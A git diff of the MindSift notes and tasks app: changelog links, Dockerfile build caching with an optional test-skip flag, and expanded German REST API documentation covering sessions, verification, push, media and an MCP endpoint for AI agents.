+[0.27.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.26.1...v0.27.0
+[0.26.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.26.0...v0.26.1
+[0.26.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.25.1...v0.26.0
+[0.25.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.25.0...v0.25.1
+[0.25.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.24.2...v0.25.0
+[0.24.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.24.1...v0.24.2
+[0.24.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.24.0...v0.24.1
+[0.24.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.23.0...v0.24.0
+[0.23.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.22.2...v0.23.0
+[0.22.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.22.1...v0.22.2
+[0.22.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.22.0...v0.22.1
+[0.22.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.21.0...v0.22.0
+[0.21.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.20.0...v0.21.0
+[0.20.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.19.0...v0.20.0
+[0.19.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.18.1...v0.19.0
+[0.18.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.18.0...v0.18.1
+[0.18.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.4...v0.18.0
+[0.17.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.3...v0.17.4
+[0.17.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.2...v0.17.3
+[0.17.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.1...v0.17.2
+[0.17.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.0...v0.17.1
+[0.17.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.16.1...v0.17.0
+[0.16.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.16.0...v0.16.1
+[0.16.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.15.1...v0.16.0
+[0.15.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.15.0...v0.15.1
+[0.15.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.3...v0.15.0
+[0.14.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.2...v0.14.3
+[0.14.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.1...v0.14.2
+[0.14.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.0...v0.14.1
+[0.14.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.13.0...v0.14.0
+[0.13.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.2...v0.13.0
+[0.12.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.1...v0.12.2
+[0.12.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.0...v0.12.1
+[0.12.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.11.1...v0.12.0
+[0.11.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.11.0...v0.11.1
+[0.11.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.10.0...v0.11.0
+[0.10.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.9.0...v0.10.0
+[0.9.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.8.0...v0.9.0
+[0.8.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.7.0...v0.8.0
+[0.7.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.7.0
+[0.6.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.6.1
+[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
+[0.5.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.1...v0.5.2
+[0.5.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5...v0.5.1
+[0.5]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4.1...v0.5
+[0.4.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4...v0.4.1
+[0.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.3...v0.4
+[0.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2.1...v0.3
+[0.2.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2...v0.2.1
+[0.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.1...v0.2
+[0.1]: https://git.dsit.me/sandrodach/MindSift/releases/tag/v0.1

CLAUDE.md

@@ -0,0 +1 @@
+@AGENTS.md

Dockerfile

@@ -4,11 +4,17 @@
 FROM node:22-alpine AS frontend-builder
 WORKDIR /app/frontend
 COPY frontend/package*.json ./
-RUN npm install --no-audit --no-fund
+RUN --mount=type=cache,target=/root/.npm npm install --no-audit --no-fund
 COPY frontend/ ./
 # Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
 ARG APP_VERSION=""
-RUN npx tsc --noEmit && npm run lint && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
+ARG SKIP_TESTS=0
+RUN if [ "$SKIP_TESTS" != "1" ]; then \
+      npx tsc --noEmit && npm run lint && npm run test:run; \
+    else \
+      echo "Skipping frontend tests (SKIP_TESTS=1)"; \
+    fi && \
+    APP_VERSION="${APP_VERSION}" npm run build
 
 # ==============================================================================
 # Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
@@ -19,7 +25,8 @@ RUN apk add --no-cache git ca-certificates
 
 # Cache Go modules & pre-compile heavy dependencies (modernc.org/sqlite) in a dedicated layer
 COPY go.mod ./
-RUN go get github.com/go-chi/chi/v5@v5.2.0 \
+RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
+    go get github.com/go-chi/chi/v5@v5.2.0 \
     github.com/go-chi/cors@v1.2.1 \
     github.com/golang-jwt/jwt/v5@v5.2.1 \
     github.com/gorilla/websocket@v1.5.3 \
@@ -38,16 +45,26 @@ COPY cmd/ ./cmd/
 COPY internal/ ./internal/
 COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
 
+ARG SKIP_TESTS=0
 # Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
-RUN go mod tidy && \
+RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
+    go mod tidy && \
+    if [ "$SKIP_TESTS" != "1" ]; then \
       CGO_ENABLED=0 go vet ./... && \
-    CGO_ENABLED=0 go test -v ./... && \
+      CGO_ENABLED=0 go test -v ./...; \
+    else \
+      echo "Skipping backend tests (SKIP_TESTS=1)"; \
+    fi && \
     CGO_ENABLED=0 go build -ldflags="-s -w" -o /app/mindsift ./cmd/server
 
 # ==============================================================================
 # Stage 3: Minimal Production Runtime (< 35 MB)
 # ==============================================================================
 FROM alpine:3.21
+# The code state the image was built from (CI: decides whether a later build may skip the tests)
+ARG GIT_SHA=""
+ARG GIT_TREE=""
+LABEL org.opencontainers.image.revision="${GIT_SHA}" io.mindsift.tree="${GIT_TREE}"
 RUN apk add --no-cache ca-certificates tzdata && \
     mkdir -p /data /tmp && \
     chmod 1777 /tmp

Doku/README.md

@@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
 - **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
 - **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
 - **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
-- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
+- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
 - **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
 
 ## Entwickeln

Doku/api/rest.md

@@ -1,22 +1,24 @@
 # REST-API
 
-Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
+Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Mit den Agenten-Scopes `tasks:read`, `tasks:write`, `lists:read`, `lists:write` nutzen sie außerdem den [MCP-Endpunkt](#mcp-für-ki-agenten-post-apiv1mcp). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
 
 ## Öffentlich
 
 | Methode | Pfad | Zweck |
 |---|---|---|
 | GET | `/health` | Lebenszeichen |
-| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) |
+| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`, `customLinkLabel`, `customLinkUrl`) |
 | GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
+| POST | `/share-target` | PWA Web Share Target Fallback: Weiterleitung auf `/` (`303 See Other`), falls Service Worker noch inaktiv |
 | POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
-| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
+| POST | `/auth/verify-email` | Link aus der Bestätigungs-E-Mail (`token`): schaltet das Konto frei oder reicht es an die Freigabe weiter (`{"verified","pending","message"}`) |
+| POST | `/auth/resend-verification` | Bestätigungslink erneut schicken (`email`); antwortet immer gleich, höchstens alle 2 Minuten pro Konto |
+| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); mit Code immer, sonst je nach Registrierungsmodus. `201` mit Token oder `202 {"pending":true,"verify","message"}`, wenn erst die E-Mail-Adresse bestätigt (`verify`) und/oder ein Admin freigeben muss (Login bis dahin `403`); `429` nach 20 Versuchen pro Adresse in 15 Minuten oder bei mehr als 50 wartenden Konten |
 | POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
-| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen |
+| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
 | POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
 | POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
-| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=`. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
-| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
+| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
 | GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
 | GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
 
@@ -26,9 +28,13 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
 |---|---|---|
 | GET | `/auth/me` | Benutzer und Kennzahlen |
 | POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
-| POST | `/auth/logout` | Token sperren |
+| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
+| POST | `/voice/transcribe` | Nur im Server-Modus der Spracherkennung: `multipart/form-data` mit `file` (Aufnahme, z. B. WebM/Opus oder MP4/AAC) → `{text}`. `404` ohne `STT_URL`, `413` zu groß, `429` Stundenlimit, `503` ausgelastet, `502` Whisper-Fehler (Details im Log) |
+| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
+| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
+| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
 | POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
-| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
+| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. `notificationSettings` (`paused`, `includeOwnWatched`, `events.{due,shared,taskDone,watched}.{email,discord}`, `dailySummary.{enabled,time,email,discord}`) für Benachrichtigungen. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
 | POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
 | GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
 | GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
@@ -43,7 +49,9 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
 | DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
 | GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
 | POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
-| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
+| GET/POST | `/keys` | API-Keys auflisten bzw. anlegen (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`, `tasks:read`, `tasks:write`, `lists:read`, `lists:write`; Standard `["webhook:triage"]`) |
+| POST | `/mcp` | MCP-Endpunkt für KI-Agenten, siehe unten |
+| DELETE | `/keys/{id}` | API-Key löschen |
 
 ### Globale Suche (`GET /api/v1/search?q=`)
 
@@ -70,6 +78,28 @@ Führt eine Volltextsuche über SQLite FTS5 mit BM25-Relevanz-Ranking aus.
   }
   ```
 
+### MCP für KI-Agenten (`POST /api/v1/mcp`)
+
+MindSift ist ein [MCP](https://modelcontextprotocol.io)-Server (Streamable HTTP, zustandslos, nur JSON-RPC 2.0 per `POST`; kein Server-Stream, `GET` antwortet `405`, Batches werden abgelehnt). Anmeldung wie überall per `X-API-Key` oder `Authorization: Bearer`; eine Sitzung darf alles, ein API-Key nur die Werkzeuge seiner Scopes, und `tools/list` zeigt ihm nur diese. Protokollversionen `2025-06-18`, `2025-03-26`, `2024-11-05`. Unterstützte Methoden: `initialize`, `ping`, `tools/list`, `tools/call`; Benachrichtigungen antworten `202`. Fehler eines Werkzeugs kommen als `isError`-Ergebnis zurück, damit der Agent sie lesen kann; Ergebnisse stehen als `structuredContent` (Listen als `{items}`) und als JSON-Text.
+
+| Werkzeug | Scope | Zweck |
+|---|---|---|
+| `list_task_lists` | `tasks:read` | Aufgabenlisten mit `permission` und offenen Aufgaben |
+| `list_tasks` | `tasks:read` | Aufgaben (`taskListId`, `status` open/done/all, `dueBefore` JJJJ-MM-TT, `limit`); fällige zuerst |
+| `get_task` | `tasks:read` | Eine Aufgabe |
+| `create_task` | `tasks:write` | Aufgabe anlegen (`content`, `taskListId`, `priority`, `dueDate`, `notes`); Quelle `agent` |
+| `update_task` | `tasks:write` | Felder ändern (`content`, `isCompleted`, `dueDate`, `priority`, `notes`, `kanbanStatus`, `taskListId`, `tags`) |
+| `complete_task` | `tasks:write` | Abhaken (`completed` false = wieder öffnen) |
+| `list_lists` | `lists:read` | Geteilte Listen mit offenen Einträgen |
+| `get_list` | `lists:read` | Liste mit Einträgen |
+| `add_list_item` | `lists:write` | Eintrag hinzufügen (`listId`, `content`, `category`, `quantity`) |
+| `check_list_item` | `lists:write` | Eintrag abhaken (`completed` false = zurück) |
+| `update_list_item` | `lists:write` | Text, Kategorie, Menge ändern |
+| `search` | ein Lese-Scope | Volltextsuche in Aufgaben und Listeneinträgen (nur die Teile der eigenen Scopes, keine Notizen) |
+| `capture_to_inbox` | `webhook:triage` | Gedanken in die Inbox |
+
+Freigaben gelten wie für die Person selbst: Leser-Listen lassen sich nicht ändern, fremde Listen sind unsichtbar. Einrichtung z. B. in Claude Code: `claude mcp add --transport http mindsift https://mindsift.example.com/api/v1/mcp --header "X-API-Key: mindsift_sec_…"`; die Einstellungen zeigen die Varianten für Codex (`config.toml`) und JSON-Konfigurationen (Claude Desktop, Cursor). claude.ai und ChatGPT im Browser verlangen OAuth und werden noch nicht unterstützt.
+
 ## Gedanken, Triage, Aufgaben
 
 | Methode | Pfad | Zweck |
@@ -83,6 +113,7 @@ Führt eine Volltextsuche über SQLite FTS5 mit BM25-Relevanz-Ranking aus.
 | GET | `/tasks?taskListId=` | Aufgaben (optional einer Liste) |
 | POST | `/tasks/reorder`, `/task-lists/{id}/tasks/reorder` | Reihenfolge/Spalte ändern (`items[{id, sortOrder, kanbanStatus}]`) |
 | POST | `/tasks/{id}/unlink` | Verknüpfung zu Notiz-Block lösen |
+| POST/DELETE | `/tasks/{id}/watch` | Aufgabe beobachten bzw. nicht mehr → `{watching}`; `404` ohne Zugriff. Aufgaben-Antworten tragen `isWatching` |
 
 ## Aufgabenlisten
 
@@ -105,7 +136,8 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
 | GET/POST | `/workspace/folders/shared` | Geteilte Ordner; anlegen (`name`, `mountPath`) |
 | GET/DELETE | `/workspace/folders/shared/{id}` | Abruf; Löschen |
 | PUT | `/workspace/folders/shared/{id}/mount` | Eigenen Einhängepfad ändern (`mountPath`) |
-| GET/POST/DELETE | `/workspace/folders/shared/{id}/shares[/{shareId}]` | Freigaben (`permission`: `read`/`write`) |
+| GET/POST | `/workspace/folders/shared/{id}/shares` | Freigaben geteilter Ordner (`permission`: `read`/`write`) |
+| DELETE | `/workspace/folders/shared/{id}/shares/{shareId}` | Freigabe eines geteilten Ordners entfernen |
 | GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
 | PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
 | GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
@@ -116,7 +148,24 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
 | DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen |
 | PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
 | POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
-| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
+| GET/POST | `/documents/{id}/shares` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
+| DELETE | `/documents/{id}/shares/{userId}` | Notiz-Freigabe entfernen |
+| POST | `/documents/{id}/extract` | `{blockId, clientId}`: legt aus den Unterpunkten des Punkts eine eigene Notiz an (Titel = Text ohne Hashtags, gleicher Ordner, Freigaben übernommen, fremder Besitzer bekommt Schreibrecht) → `{document, link}`. Die Ursprungsnotiz ändert der Server nicht; der Editor ersetzt den Ast selbst durch `link` (normale eigene Änderung, Strg+Z möglich). Schreibrecht nötig; `409`, wenn jemand anderes im Ast schreibt; `400`, wenn der Punkt nur noch ein Link auf eine Notiz ist (ggf. mit Hashtags) |
+| GET | `/push/key` | `{enabled, publicKey}` – öffentlicher VAPID-Schlüssel für `pushManager.subscribe` (in der Demo `enabled: false`) |
+| GET | `/push/devices` | Eigene Geräte mit Push → `{devices: [{id, endpoint, device, createdAt}]}` |
+| POST | `/push/subscribe` | `{endpoint, keys: {p256dh, auth}, device}` – Gerät anmelden (nur `https`-Endpunkte) |
+| POST | `/push/unsubscribe` | `{endpoint}` – Gerät abmelden |
+| POST | `/push/test` | Test-Benachrichtigung an alle eigenen Geräte → `{devices}`; `400` ohne Gerät |
+| GET | `/journal` | Tage des eigenen Journals, neueste zuerst → `{days: [{date, docId, empty}]}` (`empty`: Notiz noch ohne Text; Tage im Papierkorb fehlen) |
+| POST | `/journal/{date}` | Notiz des Tages (`JJJJ-MM-TT`) öffnen; gibt es noch keine, wird sie angelegt (Titel z. B. „Freitag, 30. Oktober 2026“, Icon 📅) → Dokument, `201` bei Neuanlage. Die Journal-Notizen sind normale Notizen (Teilen, Suche, Sync) |
+| POST | `/documents/{id}/extract/undo` | Legt die ausgelagerte Notiz `{id}` wieder in den Papierkorb (nur ihr Ersteller) |
+| POST | `/documents/{id}/merge` | `{sourceId}`: hängt die (eigene) Quellnotiz als Überschrift mit Unterpunkten an diese Notiz an, Quelle in den Papierkorb → `{targetId, sourceId, sourceTitle, headingId}` |
+| POST | `/documents/{id}/merge/undo` | `{sourceId, headingId}`: Abschnitt wieder entfernen, Quelle wiederherstellen |
+| POST | `/documents/{id}/media` | Bild oder Audio zu einer Notiz hochladen (`multipart/form-data`, Feld `file`; Schreibrecht nötig) → `{id, kind, mime, size, url}`. `415` falsches Format, `413` zu groß oder Kontingent voll |
+| POST | `/documents/{id}/media/fetch` | Externes Bild kopieren: `{url}` (nur https, keine internen Adressen; nicht in der Demo) → wie oben |
+| GET | `/media/{id}` | Datei abrufen (Leserecht auf eine Notiz, die sie zeigt), mit Range-Anfragen; sonst `404` |
+| GET | `/link-preview?url=https://…` | Vorschau einer Web-Seite (`title`, `description`, `siteName`, `hasImage`, `hasIcon`, `ok`, `key`), vom Server geholt und 7 Tage zwischengespeichert; `422` ohne https, `403` in der Demo, `429` zu viele Abrufe |
+| GET | `/link-preview/{key}/image` bzw. `/icon` | Bild bzw. Icon einer Vorschau |
 
 Der Inhalt einer Notiz (Blöcke) wird ausschließlich über `POST /docs/{id}/sync` geändert. `POST /documents` nimmt beim Anlegen weiterhin eine Start-Blockliste an; sie wird intern in Operationen umgerechnet.
 
@@ -160,11 +209,13 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
 |---|---|---|
 | GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`) |
 | GET/DELETE | `/lists/{id}` | Abruf mit Einträgen; Löschen |
-| GET/POST/DELETE | `/lists/{id}/shares[/{shareId}]` | Freigaben (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
+| GET/POST | `/lists/{id}/shares` | Freigaben abrufen bzw. anlegen (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
+| DELETE | `/lists/{id}/shares/{shareId}` | Freigabe entfernen |
 | POST | `/lists/{id}/items` | Eintrag (`content`, `category`, `quantity`) |
 | PATCH | `/lists/{id}/items/{itemId}` | Abhaken (`isCompleted`) |
 | PUT | `/lists/{id}/items/{itemId}` | Ändern (`content`, `category`, `quantity`) |
 | DELETE | `/lists/{id}/items/{itemId}` | Löschen |
+| POST | `/lists/{id}/items/{itemId}/move` | In eine andere Liste verschieben (`targetListId`); Bearbeitungsrecht in beiden Listen nötig, der Eintrag landet oben |
 | POST/PUT | `/lists/{id}/items/reorder` | Reihenfolge/Kategorie (`items[{id, sortOrder, category, content}]`) |
 | POST | `/lists/{id}/clear-completed` | Erledigte entfernen |
 
@@ -185,14 +236,19 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
 | PUT | `/admin/users/{id}/organization` | Organisation setzen (`organizationId`, leer = keine); entzieht Freigaben, Gruppen und Zuweisungen der alten |
 | GET/POST | `/admin/organizations` | Organisationen mit `memberCount`; anlegen (`name`) |
 | PUT/DELETE | `/admin/organizations/{id}` | Umbenennen (`name`); löschen (Mitglieder sind danach ohne Organisation) |
-| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
+| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen (bei wartenden Konten = ablehnen). `GET /admin/users` markiert wartende Konten mit `pendingApproval` |
+| POST | `/admin/users/{id}/approve` | Wartendes Konto freigeben; die Person bekommt eine E-Mail (`409`, wenn es nicht wartet) |
 | PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
-| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) |
-| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben |
+| GET/POST | `/admin/invites` | Einladungen auflisten bzw. anlegen (`email`, `role`, `organizationId`, `validDays`, `maxUses` 1–1000; mehrfach verwendbare nicht an eine E-Mail gebunden). Antwort mit `maxUses`/`useCount`. Als Link: `/?invite=<CODE>` öffnet die Registrierung mit eingetragenem Code |
+| POST | `/admin/invites/{id}/send` | Einladung per E-Mail (`email`); bindet einmalige Codes an diese Adresse; braucht SMTP |
+| DELETE | `/admin/invites/{id}` | Einladung widerrufen/löschen |
+| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
 | GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
 | POST | `/admin/smtp/test` | Testmail (`toEmail`) |
+| GET | `/admin/voice` | Aktive Spracherkennung (`mode`: `server`/`browser`/`off`), Einstellungen aus `STT_*` ohne Schlüssel, Grenzen und im Server-Modus ein frischer Zustand (`status.reachable`, `status.modelReady`) |
 | GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
 | GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
+| DELETE | `/admin/backups/{name}` | Datenbank-Abzug löschen (gibt die verbleibende Liste zurück; nicht in der Demo) |
 
 ## Beispiele
 

Doku/api/websocket.md

@@ -55,6 +55,7 @@ Client → Server versteht der Server nur: `{"event":"JOIN_ROOM","room":"<id>"}`
